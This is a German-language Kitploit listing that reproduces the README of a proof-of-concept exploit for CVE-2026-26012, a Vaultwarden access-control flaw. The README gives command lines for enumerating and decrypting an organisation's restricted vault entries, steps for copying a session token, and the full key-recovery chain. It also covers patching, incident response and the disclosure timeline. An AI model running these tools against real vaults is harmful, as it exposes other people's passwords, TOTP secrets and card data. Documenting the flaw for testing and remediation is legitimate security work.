Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-26012 — Proof-of-Concept-Exploit für CVE-2026-26012, eine fehlerhafte Zugriffskontrolle in Vaultwarden, die es jedem Organisationsmitglied ermöglicht, alle Cipher zu enumerieren und zu entschlüsseln, wobei die Sammlungsberechtigungen umgangen werden. | Kitploit
Tools/GitHubGitHub/dulieno/cve-2026-26012
SchwachstellenanalyseExploitationWebsicherheitKryptographiePenetrationstestsLernen & Bildung
GitHubdulieno/cve-2026-26012

CVE-2026-26012

Proof-of-Concept-Exploit für CVE-2026-26012, eine fehlerhafte Zugriffskontrolle in Vaultwarden, die es jedem Organisationsmitglied ermöglicht, alle Cipher zu enumerieren und zu entschlüsseln, wobei die Sammlungsberechtigungen umgangen werden.

Repository anzeigen
1vor 6 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-26012 — Vaultwarden Cipher Enumeration PoC

AI Assisted License

Vollständige Cipher-Enumeration unter Umgehung der Sammlungsberechtigungen der Organisation

Ein Proof-of-Concept-Exploit für CVE-2026-26012, eine Schwachstelle durch fehlerhafte Zugriffskontrolle in Vaultwarden (<= 1.35.2), die es jedem Organisationsmitglied ermöglicht, alle Cipher innerhalb der Organisation abzurufen und zu entschlüsseln – unabhängig von den Berechtigungen auf Sammlungsebene.

🤖 Hinweis: Dieses Projekt wurde mit Unterstützung von Claude 3 Opus entwickelt. KI wurde für die Codegenerierung, die Architekturstruktur und die Dokumentation eingesetzt. Alle Ausgaben wurden manuell überprüft und für die Qualitätssicherung getestet.

Übersicht

CVECVE-2026-26012
AdvisoryGHSA-h265-g7rm-h337
BetroffenVaultwarden ≤ 1.35.2
Behoben in1.35.3
CVSS 3.16.5 (Mittel) — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
CWECWE-863 — Falsche Autorisierung
CreditEntdeckt von @odgrso, behoben von @BlackDex

Die Schwachstelle

Der API-Endpunkt GET /api/ciphers/organization-details ist für jedes Organisationsmitglied zugänglich. Intern ruft er Cipher::find_by_org auf, das alle Cipher in der Organisation zurückgibt, und stellt sie dann mit CipherSyncType::Organization bereit, ohne die Zugriffskontrolle auf Sammlungsebene durchzusetzen.

Da alle Organisations-Cipher denselben Organisations-Verschlüsselungsschlüssel verwenden (den jedes Mitglied beim Beitritt erhält), können die geleakten Cipher clientseitig vollständig entschlüsselt werden.

root@kitploit:~
Reguläres Organisationsmitglied (auf Sammlung "Public" beschränkt)
    │
    ├── GET /api/sync                     → 5 Cipher (korrekt)
    │
    └── GET /api/ciphers/organization-details
            └──→ 47 Cipher (ALLE Organisations-Cipher — FEHLER)
                  └──→ 42 Cipher aus eingeschränkten Sammlungen (GELEAKT)
                        └──→ Entschlüsselbar mit dem Org-Schlüssel, den das Mitglied bereits besitzt

Repository-Inhalt

root@kitploit:~
.
├── README.md                   # Diese Datei
├── poc_cve_2026_26012.py       # Phase 1: Cipher-Enumeration & Leak-Erkennung
├── poc_decrypt.py              # Phase 2: Org-Schlüssel-Wiederherstellung & Cipher-Entschlüsselung
└── LICENSE

Anforderungen

  • Python 3.8+
  • cryptography (für die Entschlüsselung in Phase 2)
  • argon2-cffi (nur wenn die Zielinstanz den Argon2id-KDF verwendet)
root@kitploit:~
pip install cryptography
pip install argon2-cffi  # optional

Verwendung

Phase 1 — Geleakte Cipher aufzählen

Erkennt, ob die Instanz verwundbar ist, indem die vom normalen /api/sync-Endpunkt zurückgegebenen Cipher mit denen des verwundbaren /api/ciphers/organization-details-Endpunkts verglichen werden.

root@kitploit:~
# Über den Browser authentifizieren (SSO + 2FA unterstützt), dann das Bearer-Token übergeben
python3 poc_cve_2026_26012.py \
    --url https://vaultwarden.example.com \
    --token "eyJhbGciOi..." \
    --org-id "ORG-UUID" \
    --output results.json
Alle Authentifizierungsoptionen
root@kitploit:~
# Bearer-Token (empfohlen — funktioniert mit SSO + 2FA)
--token "eyJhbGciOi..."

# Session-Cookie
--cookie "VAULTWARDEN_SESSION=abc123..."

# Raw-Cookie-Header (mehrere Cookies)
--cookie-header "session=abc; token=xyz"

# Direkter Passwort-Login (NUR ohne SSO und 2FA)
--email [email protected] --password "MasterPassword"

So extrahieren Sie Ihr Bearer-Token:

  1. Melden Sie sich im Vaultwarden-Webvault an (SSO + 2FA wie gewohnt abschließen)
  2. Öffnen Sie die Browser-DevTools (F12) → Tab Netzwerk
  3. Klicken Sie auf ein beliebiges Element im Vault, um einen API-Aufruf auszulösen
  4. Suchen Sie eine Anfrage an /api/... und kopieren Sie den Wert des Authorization-Headers
Zusätzliche Optionen
root@kitploit:~
--no-verify-ssl     # SSL-Überprüfung überspringen (selbstsignierte Zertifikate)
--show-all          # Auch legitim zugängliche Cipher anzeigen
--max-display 50    # Maximale Anzahl anzuzeigender geleakter Cipher (Standard: 20)
--output results.json  # Vollständige Ergebnisse als JSON exportieren

Phase 2 — Geleakte Cipher entschlüsseln

Stellt den Organisations-Verschlüsselungsschlüssel wieder her und entschlüsselt alle geleakten Cipher aus Phase 1.

root@kitploit:~
python3 poc_decrypt.py \
    --url https://vaultwarden.example.com \
    --token "eyJhbGciOi..." \
    --email [email protected] \
    --master-password "YourMasterPassword" \
    --org-id "ORG-UUID" \
    --leaked-json results.json \
    --output decrypted.json

Hinweis: --master-password ist Ihr Vaultwarden-Master-Passwort, das lokal zur Ableitung der Entschlüsselungsschlüsselkette verwendet wird. Es wird niemals über das Netzwerk gesendet. Das --token übernimmt die API-Authentifizierung.

Fehlerbehebung: Wenn die Schlüsselentschlüsselung fehlschlägt, fügen Sie --debug hinzu, um Zwischenwerte bei jedem Schritt zu sehen. Das Skript versucht automatisch 5 Strategien (HKDF modern, HMAC legacy, Raw-Key und HMAC-Skip-Varianten), um unterschiedliche Kontenalter und Konfigurationen zu berücksichtigen.

Alternative: Org-Schlüssel direkt angeben

Wenn Sie den 64-Byte-Organisationsschlüssel (128 Hex-Zeichen) bereits haben:

root@kitploit:~
python3 poc_decrypt.py \
    --org-key-hex "aabbccdd...128_hex_chars..." \
    --leaked-json results.json \
    --output decrypted.json

Beispielausgabe

root@kitploit:~
[*] === Key Recovery Chain ===

[1/6] KDF-Parameter abrufen...
       KDF: PBKDF2-SHA256, Iterationen: 600000
[2/6] Master-Key ableiten...
[3/6] Master-Key strecken (HKDF-Expand)...
[4/6] Verschlüsselte Schlüssel von /api/sync abrufen...
       Organisation: ACME Corp
[5/6] Symmetrischen Benutzerschlüssel entschlüsseln...
[6/6] RSA-privaten Schlüssel entschlüsseln → Organisationsschlüssel...

[+] Organisationsschlüssel erfolgreich wiederhergestellt!

[*] 42 Cipher entschlüsseln...

============================================================
  ENTSCHLÜSSELUNGSERGEBNISSE
============================================================
  Gesamt:     42
  Entschlüsselt: 42
  Fehler:    0

  AUSWIRKUNGSZUSAMMENFASSUNG
  Passwörter wiederhergestellt:     35
  TOTP-Geheimnisse wiederhergestellt:  12
  Kartennummern wiederhergestellt:  3
============================================================

So funktioniert es

Schlüsselableitungskette

Jedes Organisationsmitglied besitzt bereits den symmetrischen Schlüssel der Organisation, verschlüsselt mit seinem RSA-öffentlichen Schlüssel. Die Entschlüsselungskette ist:

root@kitploit:~
Master-Passwort + E-Mail
    │  PBKDF2-SHA256 oder Argon2id
    ▼
Master-Key (32 Bytes)
    │  HKDF-Expand-SHA256
    ▼
Gestreckter Schlüssel: encKey (32B) ║ macKey (32B)
    │  AES-256-CBC (entschlüsselt profile.key)
    ▼
Symmetrischer Benutzerschlüssel: encKey (32B) ║ macKey (32B)
    │  AES-256-CBC (entschlüsselt profile.privateKey)
    ▼
RSA-privater Schlüssel (2048-Bit PKCS#8 DER)
    │  RSA-OAEP-SHA1 (entschlüsselt profile.organizations[].key)
    ▼
Organisationsschlüssel: encKey (32B) ║ macKey (32B)
    │  AES-256-CBC + HMAC-SHA256
    ▼
Entschlüsselte Cipher-Daten

Warum die Sammlungs-ACL die Daten nicht schützt

Im Bitwarden/Vaultwarden-Modell teilen sich alle Cipher in einer Organisation denselben Verschlüsselungsschlüssel. Die Zugriffskontrolle auf Sammlungsebene wird nur serverseitig durchgesetzt – das kryptografische Modell erzwingt keine Sammlungsgrenzen. Jedes Mitglied mit dem Org-Schlüssel kann jeden Cipher in der Organisation entschlüsseln. Diese CVE umgeht den serverseitigen Filter und legt alle Cipher jedem Mitglied offen.

Was entschlüsselt wird

Cipher-TypEntschlüsselte Felder
LoginBenutzername, Passwort, TOTP-Geheimnis, URIs
KarteKarteninhaber, Nummer, CVV, Ablaufdatum
IdentitätName, SSN, Reisepass, Adresse, Telefon, E-Mail
Sichere NotizVollständiger Notizinhalt
Alle TypenBenutzerdefinierte Felder, Anhangs-Metadaten

Behebung

Aktualisieren Sie Vaultwarden sofort auf 1.35.3 oder höher.

root@kitploit:~
docker pull vaultwarden/server:1.35.3

Führen Sie nach dem Patchen Phase 1 erneut aus, um den Fix zu bestätigen – das Tool sollte NOT VULNERABLE melden.

Maßnahmen nach dem Vorfall

Wenn Sie eine verwundbare Version in einer Organisation mit mehreren Benutzern betrieben haben:

  1. Rotieren Sie alle Anmeldedaten, die in Sammlungen gespeichert waren, die für einige Mitglieder eingeschränkt waren
  2. Widerrufen und regenerieren Sie TOTP-Geheimnisse für alle Konten mit im Vault gespeichertem TOTP
  3. Überprüfen Sie die Organisationsmitgliedschaft und entfernen Sie unnötige Mitglieder
  4. Prüfen Sie die Zugriffsprotokolle auf ungewöhnliche API-Aufrufe an /api/ciphers/organization-details

Verantwortungsvolle Offenlegung

Dieser PoC wird nach der öffentlichen Offenlegung und Behebung der Schwachstelle veröffentlicht:

  • 2026-02-10 — Vaultwarden 1.35.3 mit dem Fix veröffentlicht
  • 2026-02-11 — CVE-2026-26012 zugewiesen und Advisory veröffentlicht
  • 2026-02-11 — GHSA-h265-g7rm-h337 veröffentlicht

Danksagungen

Dieser PoC wäre ohne die Arbeit der ursprünglichen Sicherheitsforscher und Maintainer nicht möglich:

RolleWerBeitrag
Schwachstellenmelder@odgrsoCVE-2026-26012 entdeckt und verantwortungsvoll offengelegt
Behebungsentwickler@BlackDexFix entwickelt und in Vaultwarden 1.35.3 ausgeliefert
Projekt-Maintainer@dani-garciaVaultwarden-Ersteller, koordinierte Advisory und Release

Vielen Dank, dass Sie das Open-Source-Ökosystem sicherer machen.

Rechtlicher Haftungsausschluss

Dieser Proof of Concept wird ausschließlich für autorisierte Sicherheitstests und Bildungszwecke bereitgestellt. Sie müssen über eine ausdrückliche schriftliche Genehmigung verfügen, bevor Sie ein System testen, das Ihnen nicht gehört. Unbefugter Zugriff auf Computersysteme ist nach dem CFAA (USA), dem Computer Misuse Act (UK) und entsprechenden Gesetzen weltweit illegal. Die Autoren übernehmen keine Haftung für Missbrauch.

Referenzen

  • GHSA-h265-g7rm-h337 — GitHub-Sicherheitsadvisory
  • CVE-2026-26012 — NVD-Eintrag
  • Vaultwarden 1.35.3 — Gepatchte Version
  • Bitwarden-Sicherheits-Whitepaper — Referenz zum Verschlüsselungsmodell

Lizenz

MIT — Siehe LICENSE.

Tool herunterladen